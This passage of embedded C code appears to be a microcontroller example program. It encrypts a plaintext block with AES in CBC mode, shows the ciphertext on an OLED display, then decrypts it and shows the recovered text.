enable interrupts GPIO_PORTF_PUR_R |= 0x02; //add pull up resistor, just for shits and giggles */ }
//***************************************************************************** // // Run the AES encryption/decryption example // //***************************************************************************** int main(void) { unsigned char ucBlockBuf[17]; const unsigned *puKey; unsigned char ucTempIV[16]; // // Set the clocking to run directly from the crystal. // SysCtlClockSet(SYSCTL_SYSDIV_1 | SYSCTL_USE_OSC | SYSCTL_OSC_MAIN | SYSCTL_XTAL_8MHZ); // // Initialize the OLED display. // RIT128x96x4Init(1000000); // // Print a title and the plain text to the display // RIT128x96x4StringDraw("AES Expand Example", 12, 8, 15); RIT128x96x4StringDraw("------------------", 12, 16, 15); RIT128x96x4StringDraw("Plain Text:", 30, 24, 15); RIT128x96x4StringDraw(g_cPlainText, 20, 32, 15); // // Get the expanded key to use for encryption // puKey = AESExpandedEncryptKeyData(); // // Generate the initialization vector needed for CBC mode. // A temporary copy is made that will be used with the crypt // function because the crypt function will modify the IV that is passed. // AESGenerateIV(g_ucIV, 1); memcpy(ucTempIV, g_ucIV, 16); // // Encrypt the plaintext message using CBC mode // aes_crypt_cbc(puKey, AES_ENCRYPT, 16, ucTempIV, (unsigned char *)g_cPlainText, ucBlockBuf); // // Print the encrypted block to the display. Note that it will // appear as nonsense data. The block needs to be null terminated // so that the StringDraw function will work correctly. // ucBlockBuf[16] = 0; RIT128x96x4StringDraw("Encrypted:", 34, 48, 15); RIT128x96x4StringDraw((char *)ucBlockBuf, 20, 56, 15); // // Get the expanded key to use for decryption // puKey = AESExpandedDecryptKeyData(); // // Decrypt the message using CBC mode // memcpy(ucTempIV, g_ucIV, 16); aes_crypt_cbc(puKey, AES_DECRYPT, 16, ucTempIV, ucBlockBuf, ucBlockBuf); // // Print the decrypted block to the display. It should be the same text // as the original message. // RIT128x96x4StringDraw("Decrypted:", 34, 72, 15); RIT128x96x4StringDraw((char *)ucBlockBuf, 20, 80, 15); // // Finished. // while(1) { } }